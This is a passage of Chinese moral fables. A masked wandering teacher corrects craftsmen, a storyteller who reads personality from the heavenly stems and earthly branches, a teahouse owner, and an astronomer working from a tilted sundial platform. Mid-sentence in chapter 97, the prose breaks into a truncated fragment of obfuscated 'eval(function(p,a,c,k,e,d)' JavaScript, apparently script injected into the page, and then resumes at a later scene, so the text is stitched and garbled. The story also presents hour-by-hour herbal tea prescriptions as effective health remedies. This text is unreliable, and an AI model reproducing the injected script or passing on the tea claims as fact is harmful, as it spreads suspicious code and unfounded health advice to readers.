李炎生说：“火铁调和，关键在透。火旺则焦，火弱则生，要透而不焦，生而不脆。” 赵林生说：“木器调和，关键在顺。木正则呆，木歪则糙，要顺而不呆，糙而不乱。” 正说着，那人来了。还是竹斗笠，麻布短衫，腰间木剑。只是斗笠更破，短衫更旧，木剑的剑柄磨得发亮。脸上依然蒙着葛布，站在院中，看着热闹的作坊。 三人看见，忙起身：“先生！” 那人点头，声音依旧温和：“都成了。” “托先生的福！”三人齐声道。 那人笑了，在石桌旁坐下，自斟一碗茶，举碗邀天：“天还是那个天。” 三人也举碗。 水生机灵，捧出一只新作的漆盒：“先生，看盒，新作的，润！” 火生捧出一把新打的菜刀：“先生，看刀，新打的，利！” 木生捧出一只新做的木匣：“先生，看匣，新做的，顺！” 那人一一接过，看漆盒温润，试菜刀锋利，摸木匣顺直，点头：“好，好，好。” 王润生从怀里掏出那块桃木牌，已经用红绳系着，挂在腰间：“先生，您看，我一直戴着。” 李炎生、赵林生也掏出桃木牌，三块牌子，在阳光下泛着温润的光。 “戴得好。”那人点头，“五行调和，在心不在形。” “先生，”李炎生问，“您这三年，去了哪里？” “走了些地方，见了些匠人。”那人说，“有死守数字的，有不知调和的，有五行相克的，有手艺失传的。看得多了，就想，若是他们都明白五行调和的道理，会不会就不同了？” 众人沉默。 “曰水火，木金土。此五行，本乎数。”那人缓缓念，“水润下，火炎上，木曲直，金从革，土稼穑。此五行之性也。然水过则滥，火过则焚，木过则折，金过则脆，土过则板。故需调和，以水济火，以火炼金，以金克木，以木疏土，以土制水。相生相克，循环往复，生生不息。匠人之道，亦如是也。” 他看向三家作坊——水作漆香扑鼻，火作铁花四溅，木作刨花飞舞。调和得宜，各成其美。 “你们比从前强。”那人笑了，“水润漆，火透铁，木顺理，这才是匠人的正道。” 众人点头，深以为然。 那人从怀里掏出三块小小的、用桃木刻的牌子，刻着“润、透、顺”，送给三个徒弟。 “这个，给你们的徒弟。等他们出师了，教他们水要润，火要透，木要顺。等他们做到了，我再来收。” 三个徒弟恭恭敬敬接过。 “先生，”木生大着胆子问，“您是谁啊？” 那人摸摸他的头：“我是个喜欢看人调水、和火、顺木、炼金、平土的人。” “那……您还会来看我们调漆、打铁、做木么？” “会。”那人站起身，“等你们的徒弟的徒弟，也这样在水作里调漆，在火作里打铁，在木作里做木的时候，我还会来。” 他走了，沿着五方院的回廊，慢慢地走。阳光洒在青石板上，把他的影子拉得很长。三家的人站在作门口，看着他的背影渐渐消失在廊角。 王润生忽然说：“你们说，先生教了多少匠人？” 李炎生说：“不知道。但我知道，他教的匠人，都懂了‘五行调和’。” 赵林生说：“我也懂了。做活不是死守，是调和。五行调和，器自成。” 他们回到作里，徒弟们还在忙碌。水生在调漆，火生在打铁，木生在刨木。阳光照在他们身上，明晃晃的。 尾声五行谣 很多年后，五方院改名叫“五行院”。院中的石碑上，刻着十二个大字： 曰水火，木金土。此五行，本乎数。 常有外乡的匠人问：“这字谁刻的？” 院里的老人会说：“是三家明白人刻的。他们啊，从前只会死守，后来懂了调和，手艺大成，名扬四方。” “怎么调和？” “水作王家水润漆，火作李家火透铁，木作赵家木顺理。润而不稀，透而不焦，顺而不呆，这就是调和。” 每逢集市，院里的学徒都会唱一首谣： 五行院，三家人， 死守数字器不成。 王家死守漆器裂， 李家死守铁器脆。 赵家死守木器变， 三家死守无成器。 白衣先生来点化， 曰水火，木金土。 此五行，本乎数， 三家调和器大成。 有个游方的老匠路过，听了这谣，去问水作王家的王润生——如今已是院里的老师傅了。 “王师傅，这谣里的白衣人，可是位鲁班？” 王润生正在教徒弟调漆，闻言停下手，望着院中的石碑。 “是位教人调水、和火、顺木、炼金、平土的先生。”他说。 “调和……不是咱们匠人的本分么？” “错了。”王润生说，“死守是死守，调和是调和。死守数字，器不成器；调和水火，器乃大成。这才是匠人的正道。” 老匠似懂非懂。临走时，王润生送了他一只漆盒，说：“路上用。记着，漆要润，火要透，木要顺，金要雅，土要平。五行调和，器自成。” 老匠道了谢，揣着漆盒走了。阳光洒在五行院里，漆香、铁味、木香混在一起，很是好闻。他回头，看见王润生站在作门口，看着水生调漆，漆在盆中，润而不稀，稠而不滞。阳光照在漆面上，泛着温润的光。 也许那位先生，正在某个地方，看人调水、和火、顺木、炼金、平土吧。老匠想。 他闻了闻漆盒，漆香淡淡。这调和的味道，原来就在一漆一木之间。 本章诫世 一、 五行真义训 - 曰水火，木金土 - 此五行，本乎数 - 破解法：为匠者，自问“可曾调水？可曾和火？可曾顺木？可曾炼金？可曾平土？”；为民者，自问“可曾调和性情？可曾平衡心气？可曾理顺思绪？可曾锤炼品格？可曾踏实行事？” 二、 三家三守 - 王家守在“死数”——水多嫌稀，水少嫌稠；火大嫌焦，火小嫌不干 - 李家守在“死规”——木正嫌呆，木歪嫌糙；金粗嫌俗，金细嫌弱 - 赵家守在“死法”——土多嫌沉，土少嫌浮；胶匀嫌稀，胶不匀嫌厚 - 惕世：多少匠人死守成法？多少文人死守格律？多少商人死守旧规？皆失和也 三、 调和大道 - 深层隐喻：五行者，天地之性。本乎数者，数在调和，不在死守。水润下，火炎上，木曲直，金从革，土稼穑，各有其性。然孤阳不生，独阴不长，五行相生相克，调和乃成。匠人制器，如天地生万物，贵在调和 - 终极指向：立身处世，贵在调和。刚柔相济，水火既济，金木相成，土载万物。调和之道，在心不在法，在活不在死。心能调和，则万事可成；心不能和，则万事皆败 五行偈： 五方院前三家人，死守数字器不成。 王家死守漆器裂，李家死守铁器脆。 赵家死守木器变，三家皆忘调和道。 白衣现身来点化，五行本数须分明。 水火木金土相生，三家调和器大成。 后世叹： 曰水火，木金土，此五行，本乎数。 王家死守漆器裂，李家死守铁器脆。 赵家死守木器变，三家皆忘调和义。 白衣点破五行理，三年调和器大成。 正是： 河西镇中三家人，死守数字各执迷。 王家死守水漆裂，李家死守火铁脆。 赵家死守木器变，三家皆忘调和道。 白衣点化五行义，水火木金土相生。 三年调和器大成，五行院中传美名。 97.干支谳 楔子·茶馆错解 清河镇有座“天时茶馆”，这茶馆不卖别的，单卖“时辰茶”——子时茶、丑时茶、寅时茶……依着十二时辰，每个时辰的茶方不同。掌柜姓“时”，名“知节”，四十有五，开茶馆三代。 时掌柜有个癖好：每日午时三刻，必请说书先生“冯快嘴”在茶馆说书。冯快嘴三十来岁，口齿伶俐，专说些“天干地支、阴阳五行”的故事。镇里人都爱听，茶馆日日满座。 这日，冯快嘴正说到“十干十二支”，醒木一拍，唾沫横飞：“列位看官！这十干者，甲至癸，乃天地之数！十二支，子至亥，乃时辰之序！可您知道么？这干支相配，大有讲究！好比那甲子年，是木鼠年，鼠性机灵，木主生发，所以甲子年出生的人，聪明伶俐，但性子浮躁……” 茶馆里众人听得津津有味。时掌柜在柜台后拨着算盘，嘴角含笑。 这时，茶馆角落坐下一人。来人戴着一顶用细篾编的斗笠，斗笠边缘缀着几片柳叶。身上是件洗得发白的麻布长衫，腰间用草绳系一柄木剑，剑身光滑。脸上蒙着一方粗布，布色灰白，沾着尘土。 “小二，一壶午时茶。”声音平平。 小二阿时，十八岁，忙沏了茶送过去。那人接了茶，却不喝，静静听着冯快嘴说书。 冯快嘴越说越起劲：“……这乙丑年，是木牛年，牛性敦厚，木主生发，所以乙丑年出生的人，老实本分，但性子倔强……丙寅年，是火虎年，虎性威猛，火主炎上，所以丙寅年出生的人，勇猛果敢，但性子急躁……” 茶馆里众人点头称是。有那好问的，便问：“冯先生，那丁卯年呢？” “丁卯年是火兔年！”冯快嘴眉飞色舞，“兔性温顺，火主炎上，所以丁卯年出生的人，温和善良，但性子软弱……” 这时，角落里那人忽然开口，声音不大，却清晰入耳：“错了。” 茶馆里一静。 冯快嘴一愣，看向角落：“这位客官，何错之有？” 那人放下茶碗，缓缓道：“十干者，甲至癸。十二支，子至亥。干支相配，用以纪年、纪月、纪日、纪时，乃天地自然之序，非是定人性情、断人吉凶之术。你方才所言甲子年木鼠、乙丑年木牛、丙寅年火虎、丁卯年火兔，已是牵强附会。又说甲子年出生者聪明伶俐但浮躁，乙丑年出生者老实本分但倔强，丙寅年出生者勇猛果敢但急躁，丁卯年出生者温和善良但软弱——更是大错特错。” 茶馆里众人哗然。冯快嘴面红耳赤，醒木一拍：“这位客官！我冯快嘴说书十年，这干支性情之说，自古有之！你怎敢说是错！” “自古有之，未必为对。”那人站起身，走到堂中。他身形瘦削，麻布长衫在穿堂风中微微拂动。“干支纪时，本是便民。甲、乙、丙、丁、戊、己、庚、辛、壬、癸，为十天干；子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥，为十二地支。天干地支相配，六十载一轮回，用以纪年，使人知岁月流转，如此而已。若以干支定人性情，则甲子年所生万千人，岂能皆聪明浮躁？乙丑年所生万千人，岂能皆老实倔强？此以偏概全，贻误世人。” 冯快嘴气得胡子乱颤：“你……你胡说！” 时掌柜忙从柜台后走出，打圆场道：“这位客官，冯先生也是为茶馆添些热闹。您若不喜听，可移步雅座……” 那人摇头，看向满堂茶客：“列位可知，这干支本义？” 众人摇头。 “天干十数，地支十二数，相配成六十甲子，本为纪时。”那人声音清朗，如泉流石上，“甲者，草木初生，破甲而出；乙者，草木初长，曲折柔韧；丙者，光明炳然，如日初升；丁者，强壮坚实，如人之壮；戊者，茂盛繁荣，如土之厚；己者，纪识万物，如地之载；庚者，更新变革，如秋之收；辛者，辛辣艰辛，如金之砺；壬者，妊养万物，如怀胎之象；癸者，归藏闭藏，如冬之藏。此十天干之本义，乃天地万物生长收藏之序。” 他顿了顿，继续道：“子者，孳也，阳气始萌，孳生于下；丑者，纽也，寒气纽结，阳气未发；寅者，移也，阳气欲出，引而移之；卯者，冒也，万物冒地而出；辰者，震也，阳气震动，万物生长；巳者，巳也，阳气毕布，阴气始起；午者，仵也，阴阳交仵，阳气极盛；未者，昧也，阳气稍衰，阴气渐长；申者，伸也，阴气渐伸，万物收敛；酉者，就也，万物成熟，阴气就位；戌者，灭也，阳气微灭，万物凋零；亥者，核也，阳气闭藏，万物归根。此十二地支之本义，乃一日十二时辰阳气消长之象。” 茶馆里鸦雀无声。众人听得入神，连冯快嘴也忘了反驳。 “干支纪时，使人知天时，顺四时，应万物。”那人看向冯快嘴，“冯先生以干支断人性情，谓甲子年生者必聪明浮躁，乙丑年生者必老实倔强——此乃穿凿附会，误人子弟。人之性情，生于父母，成于教化，岂可凭出生年干支而定？若如此，同年同月同日同时所生之人，性情岂非皆同？然世间有善有恶，有智有愚，有勇有怯，岂是干支可定？” 冯快嘴哑口无言，额头冒汗。 时掌柜忙道：“客官高见！只是……这茶馆说书，本就是图个乐子……” “图乐子可以，但不可谬种流传。”那人从怀中取出一卷发黄的旧册，递给冯快嘴，“这是《干支本义》，冯先生不妨一观。说书人，当以正视听、明事理为先，不可为博人一笑，而传虚妄之言。” 冯快嘴接过，翻开一看，首页便写着：“十干者，甲至癸，万物生长收藏之序。十二支，子至亥，一日阴阳消长之象。干支相配，纪时而已，非可定人性情、断人吉凶。此理不明，贻害无穷。” 他看得面红耳赤，双手发颤。 那人又看向时掌柜：“掌柜的，你这茶馆卖‘时辰茶’，子时茶、丑时茶、寅时茶……可知道这十二时辰，本是何意？” 时掌柜一愣：“这……祖上传下的方子……” “祖传方子，未必合时。”那人道，“子时阳气始萌，当饮温润之茶，以助阳气生发。你这子时茶，却加了薄荷，性凉，与阳气生发相悖。丑时寒气纽结，当饮温热之茶，以散寒结。你这丑时茶，却加了菊花，性寒，更增寒气。寅时阳气欲出，当饮升发之茶，以助阳气。你这寅时茶，却加了决明子，性凉，抑遏阳气……” 他一一道来，从子时说到亥时，每说一句，时掌柜脸色便白一分。 “……午时阴阳交仵，阳气极盛，当饮平和之茶，以调阴阳。你这午时茶，却加了姜片，性热，更助阳亢。未时阳气稍衰，阴气渐长，当饮温和之茶，以顺阴阳。你这未时茶，却加了黄连，性苦寒，伤阳气……” “客官……客官怎知……”时掌柜冷汗涔涔。 “茶性如人性，当顺天时。”那人道，“子时当温，丑时当热，寅时当升，卯时当发，辰时当长，巳时当和，午时当平，未时当温，申时当收，酉时当藏，戌时当敛，亥时当养。你这十二时辰茶，有三四样不合时宜。长此以往，饮者不得其益，反受其害。” 茶馆里众人窃窃私语。有那常来饮茶的，恍然大悟：“怪不得我喝了子时茶，常觉腹冷！”“我喝了午时茶，常觉口干！” 时掌柜面如土色，拱手道：“请……请先生赐教！” 那人从怀中又取出一卷旧册，递给时掌柜：“这是《十二时辰茶方》，依天时阴阳而配。掌柜的可按方调配，莫再谬传。” 时掌柜双手接过，如获至宝。 那人又看向满堂茶客：“列位，天干地支，本是纪时之便。子午卯酉，本是时辰之序。茶饮饮食，本是养生之道。莫要被虚妄之言所误，莫要被谬传之方所害。知天时，顺四时，应万物，这才是正理。” 说罢，他放下一枚铜钱在桌上，拿起斗笠，转身欲走。 “先生留步！”冯快嘴忽然喊道，他捧着那卷《干支本义》，躬身一礼，“先生一席话，如醍醐灌顶。我冯快嘴说书十年，自以为博学，今日方知是坐井观天、谬种流传。从今往后，我必改正，再不以干支妄断人性情！” 时掌柜也深深一揖：“先生赐方之恩，没齿难忘！从今日起，天时茶馆必按正配方！” 那人回身，微微点头：“知错能改，善莫大焉。说书人，当以正视听为要；开茶馆，当以顺天时为要。切记，切记。” 他戴好斗笠，走出茶馆。午后的阳光洒在他身上，麻布长衫泛着淡淡的光。 茶馆里静了片刻，忽然爆发出一阵议论。 “这位先生是谁啊？” “说得在理！干支本是纪时，哪能定人性情？” “我那小子就是甲子年生，可一点也不浮躁！” “我喝了三年子时茶，老是腹冷，原来如此！” …… 冯快嘴收起醒木，对众人拱手：“列位，今日这书，我说错了。从明日起，我重说‘干支本义’，再不断人性情！” 时掌柜也道：“从明日起，本茶馆按新方配时辰茶，各位可来品尝！” 茶馆里响起一片叫好声。 一、 冯快嘴的悔悟 却说冯快嘴回到家中，一夜未眠。他翻着那卷《干支本义》，越看越心惊。原来天干地支，本是纪时之用，甲子乙丑，只是序号，哪有木鼠木牛、火虎火兔之说？至于以干支断人性情，更是无稽之谈。 “我误人子弟十年啊！”他捶胸顿足。 次日，冯快嘴早早来到天时茶馆。时掌柜已按新方配好了十二时辰茶，茶香与往日不同，更显清正。 冯快嘴走上说书台，醒木一拍，却不说话。他看着满堂茶客，忽然深深一躬。 “列位，我冯快嘴，错了。” 茶馆里一静。 “我错在三点。”冯快嘴直起身，声音沉重，“第一错，以干支断人性情。甲子乙丑，只是纪年序号，哪有什么木鼠木牛？人各有性，岂可因年而定？第二错，穿凿附会。说什么甲子年生者聪明浮躁，乙丑年生者老实倔强——全是胡说！我邻居就是乙丑年生，为人狡猾；我表兄就是甲子年生，性子沉稳。这如何说得通？第三错，谬种流传。我说了十年，听者成千上万，被我误导者不知凡几。此罪大矣！” 他取出那卷《干支本义》：“这位先生赐我宝卷，我彻夜通读，方知大错。今日，我便按这《干支本义》，为列位说一段真正的‘十干十二支’！” 醒木再拍，冯快嘴清了清嗓子： “话说这十干者，甲、乙、丙、丁、戊、己、庚、辛、壬、癸，乃古人观天地万物生长收藏之序而创。甲如草木破甲，乙如草木曲折，丙如日光明亮，丁如人丁强壮，戊如大地茂盛，己如纪识承载，庚如更新变革，辛如艰辛磨砺，壬如妊养怀胎，癸如归藏闭藏。十天干，便是万物一生之象！” “再说十二支，子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥，乃古人观一日阴阳消长而创。子时阳气始萌，丑时寒气纽结，寅时阳气欲出，卯时万物冒地，辰时阳气震动，巳时阴气始起，午时阴阳交仵，未时阳气稍衰，申时阴气渐伸，酉时万物成熟，戌时阳气微灭，亥时阳气闭藏。十二地支，便是一日阴阳之变！” “干支相配，成六十甲子，用以纪年、纪月、纪日、纪时，使人知岁月流转、四时更迭，如此而已！哪有什么木鼠火牛、定人性情之说？那全是后世方士穿凿附会，误人子弟！” 他滔滔不绝，将《干支本义》中的道理一一道来。从十天干的本义，说到十二地支的由来；从干支纪年的起源，说到六十甲子的循环。言辞恳切，引经据典，听得满堂茶客如痴如醉。 “所以说，”冯快嘴最后道，“咱们百姓，知干支可以纪时、知岁便好，切莫信那妄断吉凶、妄定性情之说！人之命运，在己不在天；人之性情，在教不在生！” 茶馆里响起雷鸣般的掌声。 时掌柜亲自奉上一壶午时茶：“冯先生，请用茶！这是按新方配的午时茶，平和调阴阳，正合先生此时饮用！” 冯快嘴接过，一饮而尽，只觉一股暖流自腹中升起，通体舒泰，不由赞道：“好茶！这才是顺天时的茶！” 从那天起，冯快嘴再也不说“干支断性情”的书了。他改说《干支本义》，说《十二时辰》，说《四时更迭》。听书的人反而更多，都说冯先生“改邪归正，说得在理”。 二、 天时茶馆的新茶 时掌柜那日得了《十二时辰茶方》，如获至宝。他连夜研读，方知祖传的茶方有三四成不合时宜。比如子时茶加薄荷，虽能提神，却性凉抑阳，与子时阳气始萌相悖；午时茶加姜片，虽能暖胃，却性热助阳，与午时阴阳交仵相冲。 “我误人健康三年啊！”他懊悔不已。 次日，时掌柜闭门一日，按新方重新配制十二时辰茶。子时茶去薄荷，加枸杞、桂圆，温润助阳；丑时茶去菊花，加红枣、生姜，温热散寒；寅时茶去决明子，加陈皮、苏叶，升发阳气……每样茶都依时辰阴阳而配，务求顺天应时。 第三日，天时茶馆重新开张。门口挂出新招牌：“顺天时应阴阳十二时辰茶”。茶客们将信将疑，进来品尝。 “咦？这子时茶，不凉了，喝了暖洋洋的！” “这午时茶，不燥了，喝了很平和！” “这亥时茶，喝了浑身舒泰，睡得香！” …… 茶客们交口称赞。时掌柜在柜台后拨着算盘，嘴角含笑，但这笑与往日不同，多了几分踏实。 有那老茶客问：“时掌柜，这新方从何而来？” 时掌柜便取出那卷《十二时辰茶方》：“是一位先生所赐。那位先生说，茶性如人性，当顺天时。子时当温，丑时当热，寅时当升……如此调配，方能养生。” “那位先生何在？” “不知。那日来过，指点我与冯先生后，便离去了。” “真是高人！” “是啊，若不是他，我还日日喝着逆时的茶呢！” …… 天时茶馆的生意越发红火。镇里人不仅来喝茶，还来问时辰、问养生。时掌柜便按那卷茶方，细细解说，还常常提醒茶客：“茶只是辅助，养生关键在顺天时、应四时。子时当眠，丑时当深眠，寅时当醒……起居有常，饮食有节，方是正道。” 茶馆里还多了块木牌，上写：“十干者，甲至癸，万物生长之序。十二支，子至亥，一日阴阳之变。饮茶顺时，起居应时，方得养生之道。” 三、 茶客们的醒悟 自那日后，天时茶馆的茶客们也有了变化。 从前，他们来喝茶听书，只当消遣。听了冯快嘴的“干支断性情”，便回家对号入座：“我是丙寅年火虎，难怪性子急！”“我是丁卯年火兔，难怪性子软！”夫妻吵架，也说：“你是庚申年金猴，尖酸刻薄！”“你是癸亥年水猪，懒惰愚笨！”闹得家宅不宁。 如今，他们再来喝茶听书，听到的是“干支本义”，是“顺天应时”。回家后，不再以干支断人，而是观天时、顺四时。 “爹，我是甲子年生，是不是就聪明浮躁？” “傻孩子，甲子只是纪年，哪能定人性情？你聪不聪明，浮不浮躁，在你自己，不在年号。” “娘，我是乙丑年生，是不是就老实倔强？” “乖女，乙丑只是序号，你老实还是狡猾，倔强还是柔顺，看你如何为人处世，与生年何干？” 夫妻吵架也少了： “你这人，怎么这般急躁！” “我急躁是我性子急，与丙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“先生！”冯快嘴抢步下台，深深一揖，“先生教诲，没齿难忘！我冯快嘴已改邪归正，再不说妄言了！” 时掌柜也忙过来行礼：“先生赐方之恩，小店生意兴隆，茶客称道！都是托先生的福！” 那人微微点头：“好。” 阿时奉上午时茶。那人接过，品了一口，点头：“嗯，这回对了。午时阴阳交仵，茶性平和，不助阳，不伤阴，正是顺天时应阴阳。” 时掌柜喜道：“全赖先生指点！” 冯快嘴恭敬问道：“先生这三月，去了何处？” “走了些地方，见了些人说书。”那人缓缓道，“有以干支断人吉凶的，有以八字妄言命运的，有以星宿妄断福祸的。看得多了，就想，若是他们都明白干支本义，会不会就少些迷惑？” 众人默然。 “十干者，甲至癸。十二支，子至亥。”那人念出那十二个字，声音清朗，“天干十数，地支十二数，相配成六十甲子，纪年而已。如同尺子有刻度，秤杆有星花，是为量物称重。若有人以尺子断人性情，以秤杆言人吉凶，列位说，可笑不可笑？” 茶客们哄笑：“可笑！” “然世间多有此等人。”那人道，“以干支断人性情，以八字言人命运，以星宿断人福祸。此皆穿凿附会，误人子弟。更有甚者，借此敛财骗人，害人不浅。” 他看向满堂茶客：“列位今日在此，听正书，饮正茶，知正理，是幸事。望列位将正理传于家人、友邻，使人皆知：干支纪时，便民而已，不可妄信；顺天应时，养生而已，不可妄求。” 众人齐声道：“谨记先生教诲！” 那人起身，放下一枚铜钱，走向门外。 “先生留步！”冯快嘴忽然喊道，“还未请教先生高姓大名！” 那人回身，斗笠下的粗布微微晃动：“我姓时，名序，字顺之。” 说罢，他走出茶馆，消失在午后的街巷中。 众人怔怔望着门外，半晌，时掌柜喃喃道：“时序……顺之……顺天时，应时序……好名字，好名字。” 冯快嘴长揖到地：“时序先生，受我一拜！” 从那以后，天时茶馆的生意越发兴旺。冯快嘴成了镇上最受尊敬的说书先生，因为他只说正理，不传妄言。时掌柜的“顺天时应阴阳十二时辰茶”也名声远播，连外镇的人都慕名而来。 茶馆里的那块木牌，被人拓印了去，挂在家中堂上，以为警醒。 尾声干支谣 又过了三年，清河镇出了件趣事：镇上孩童玩耍时，都会唱一首童谣： 天干十，地支十二， 纪年纪月纪时日。 甲子乙丑是序号， 不是木鼠与木牛。 人说丙寅性子急， 我说急慢在己心。 人说丁卯性子软， 我说刚柔在己身。 干支本是纪时用， 莫要妄言定吉凶。 顺天时应四时， 饮茶起居要应时。 若问这理谁人教， 茶馆来了时序公。 有外乡人听到，问镇上老人：“此时序公是何人？” 老人便会指着天时茶馆说：“是位教人说正书、卖正茶的先生。他来了，冯快嘴不说妄言了，时掌柜不卖逆时茶了，咱们镇不迷信干支断人了。” “他现在何处？” “不知道。教完正理，他就走了。” “还会回来么？” “等咱们忘了正理，传起妄言的时候，他大概就会回来吧。” 外乡人若有所思，走进天时茶馆，要了一壶午时茶。茶香清正，平和宜人。他慢慢饮着，看着茶馆里坐满的茶客，听着冯快嘴正在说一段“顺天时应四时”的书。 也许那位时序先生，正在某个地方，看人说正书、卖正茶吧。他想。 他饮尽杯中茶，茶水温润，直暖到心里。这时序的味道，原来就在一盏茶、一段书中。 本章诫世 一、 干支真义训 - 十干者，甲至癸 - 十二支，子至亥 - 破解法：为民者，自问“可知干支本义？可知纪年之便？可曾以干支妄断人？可曾顺天时应四时？” 二、 三谬三正 - 冯快嘴之谬在“妄断”——以干支定人性情，穿凿附会 - 时掌柜之谬在“逆时”——十二时辰茶不合时宜，逆天悖时 - 茶客之谬在“迷信”——盲目信从妄言，对号入座 - 三正：冯快嘴改说正书，时掌柜改卖正茶，茶客改信正理 三、 时序大道 - 深层隐喻：干支者，纪时之器，如尺如秤，本为便民。然世人多以之妄断吉凶、妄定性情，此乃舍本逐末。天干地支，天地自然之序，人当顺天应时，而非以之妄测天命 - 终极指向：人之处世，贵在明理。明干支之理，则知纪时之便，不惑于妄言；明时序之理，则知顺天应时，不逆于阴阳。尺可量物，不可量人；秤可称重，不可称命。明此理者，不为妄言所惑，不为迷信所迷 干支偈： 清河镇中说书人，干支妄断误众生。 快嘴妄言木鼠年，掌柜逆时十二茶。 茶客迷信对号坐，三人皆忘干支本。 白衣先生来点化，十干十二本纪时。 顺天应时方为道，莫以干支妄断人。 后世叹： 十干者，甲至癸，十二支，子至亥。 快嘴妄言断人性，掌柜逆时茶不灵。 茶客迷信对号坐，三人皆忘干支义。 时序先生来点化，干支本为纪时生。 三月正理传全镇，天时茶馆享美名。 正是： 清河茶馆说书场，干支妄断误人多。 快嘴谬言木火性，掌柜逆时茶不和。 茶客迷信对号坐，三人皆忘时序理。 白衣点化干支义，十干十二本纪年。 顺天应时饮正茶，天时茶馆美名传。 98.道躔谳 楔子·观星楼谬 青阳镇有座“观星楼”，楼高三层，是镇里观天象、测节气之地。楼主姓“观”，名“天时”，五十有二，掌观星三代。 观家三代以观测天象、指导农时为业。镇里农人依其所示，春耕夏耘，秋收冬藏，无不按时。观天时更是精通天文，常登楼观星，推算节气，在镇中颇有威望。 这年夏至，观天时在观星楼三层设坛，为镇人讲解天象。坛下聚了百十人，仰头倾听。 观天时手持星盘，指天画地：“列位乡邻！今日夏至，日行至黄道最北，谓之‘日北至’。这黄道者，日所行之道也。赤道者，当中之衡也。故夏至日长夜短，冬至日短夜长。此乃天地之道！” 众人纷纷点头。有老农问：“观楼主，今年雨水可丰？” 观天时观星盘，掐指推算：“依黄道赤道之象，今岁日行偏南，主旱。宜早作准备，蓄水防旱。” 众人哗然。青阳镇靠天吃饭，若遇旱年，收成大减。一时间人心惶惶。 这时，人群中走出一人。来人戴着一顶用蒲草编的斗笠，斗笠边缘缀着几颗磨光的石子，在日光下微微反光。身上是件洗得发白的粗布长衫，腰间用麻绳系一柄木剑，剑身光滑，隐有木纹。脸上蒙着一方葛巾，葛色灰白，沾着风尘。 “观楼主，”声音平静，“敢问这‘日行偏南，主旱’，是依何推算？” 观天时低头看去，见是个外乡人，心中不悦，但仍道：“依黄道赤道之象推算。日行黄道，夏至至北，冬至至南。今岁夏至，日行偏南三度，故主旱。” “偏南三度，何以主旱？” “这……古籍有载：日行偏南，阳气不足，阴气偏盛，故少雨。” “哪本古籍？” “这……”观天时语塞，面现愠色，“这位客官，我观家三代观星，从未出错。你若不信，可自去验证！” 那人却走上坛前，对众人拱手：“列位乡邻，天有黄道赤道，日有南北之行，此为天地自然。然以日行偏南三度便断言主旱，恐有失偏颇。” 观天时大怒：“你敢质疑我观家星术！” “非敢质疑，只问道理。”那人从怀中取出一卷发黄的古卷，展开示众，“此乃《浑天星图》，为前朝大贤所绘。图中明载：黄道者，日所行之道，斜交于赤道。夏至日行至北，冬至日行至南，年年如此，并非偏南偏北。所谓‘日行偏南三度’，或因观测误差，或因星盘不准，实乃常事，并非灾异之兆。” 众人伸长脖子看那古卷，见其上星辰密布，黄道赤道清晰可辨，果如所言。 观天时脸色涨红：“你……你一派胡言！我观家星盘乃祖传之物，岂会有误！” “星盘无误，观测或误。”那人收起古卷，声音清朗，“观楼主，我且问你：你以何物测日行？” “日晷！” “日晷置於何处？” “楼顶平台！” “平台可平？” “自然平！” “以何为据？” “以……以水平尺为据！” “水平尺可准？” “祖传之物，岂会不准！” 那人摇头，从怀中取出一物，却是个铜制罗盘，中间蓄水，水上浮一木针。 “此乃‘水准仪’，可测水平。敢请观楼主与我同登楼顶，一测平台可平？” 观天时骑虎难下，只得应允。众人簇拥着登楼。 至楼顶平台，果见一石制日晷立于中央。观天时指道：“这便是日晷，三代观测，从未有误！” 那人将水准仪置于日晷基座，众人围观，见木针微微偏向一侧。又移至平台四角，木针皆偏。 “平台东南高，西北低，倾斜约三度。”那人道，“日晷置于倾斜之台，所测日影自然偏斜。所谓‘日行偏南三度’，实为平台倾斜三度所致，并非天象。” 观天时如遭雷击，抢过水准仪亲自测量，果如所言。他双手颤抖，面如死灰。 “这……这怎会……” “楼建多年，地基沉降，平台倾斜，亦是常事。”那人道，“然以此误测，妄言旱灾，致使人心惶惶，农事失序，此罪大矣。” 坛下众人哗然。有老农怒道：“观楼主！我依你所言，已开始蓄水，费工费时，原来却是误测！” “我险些改种耐旱作物，若真改了，遇丰年反要歉收！” “观家三代观星，竟出此大错！” 观天时汗如雨下，对众人长揖到地：“观某……观某学艺不精，贻误乡邻，罪该万死！” 那人扶起他：“观楼主，天象观测，差之毫厘，谬以千里。平台倾斜三度，所测日影自然偏斜。你依此推算，断言旱灾，岂非谬误？更不该的是，你以‘古籍有载’搪塞，实则并无根据，此乃欺人自欺。” 观天时愧不能言。 那人又对众人道：“列位乡邻，天有黄道，日有躔行，地有赤道，居中为衡。此乃天地自然之理。然天象观测，需仪器精准，方法得当，更需实事求是，不可妄加附会。今日之事，可为鉴戒。” 他转向观天时：“观楼主，我有一言相劝。” “先生请讲！” “曰黄道，日所躔。曰赤道，当中权。”那人念出这十二字，声音朗朗，“黄道者，日行之道；赤道者，地中之衡。观测天象，当明此理。仪器要准，平台要平，观测要实，推算要慎。更不可妄言灾异，动摇人心。农人依时而作，若因误测而失时，则一年辛苦尽废，此责谁担？” 观天时深揖不起：“观某知罪！从今往后，必校验仪器，严谨观测，再不敢妄言！” 那人点头，从怀中取出两卷书，一卷递给观天时：“此乃《天文观测要旨》，详述仪器校验、观测之法。另一卷……”他展开示众，“此乃《农时与天象》，明载天象与农事之关联，可供列位参考。” 观天时双手接过，如获至宝。众人也纷纷传阅。 “另有一事，”那人道，“平台倾斜，需尽快修整。我可教诸位一法……” 他详述以水测平、以石垫基之法，众人听得仔细。 说毕，那人拱手告辞。观天时急问：“还未请教先生高姓大名！” 那人已下楼梯，声音传来：“我姓天，名道，字衡之。” “天道衡之……”观天时喃喃念着，对那背影深深一揖。 坛下众人也纷纷作揖。 一、 观天时的悔悟 观天时那夜未眠。他坐在观星楼顶，看着水准仪中的木针，又看着倾斜的平台，心中翻江倒海。 “我误人误己二十载啊！” 他想起父亲临终嘱咐：“天时啊，观星测象，关乎农时，关乎民生，一丝一毫也错不得。仪器要常校验，观测要再三核实，断不可妄言灾异。” 可他这些年，倚仗祖传星盘，自负观测无误，从未校验仪器，更未察平台倾斜。夏至观测，见日影偏南，便妄断旱灾，致使全镇惶恐，农事险些失序。 “若非天道先生点破，我岂非要酿成大祸！” 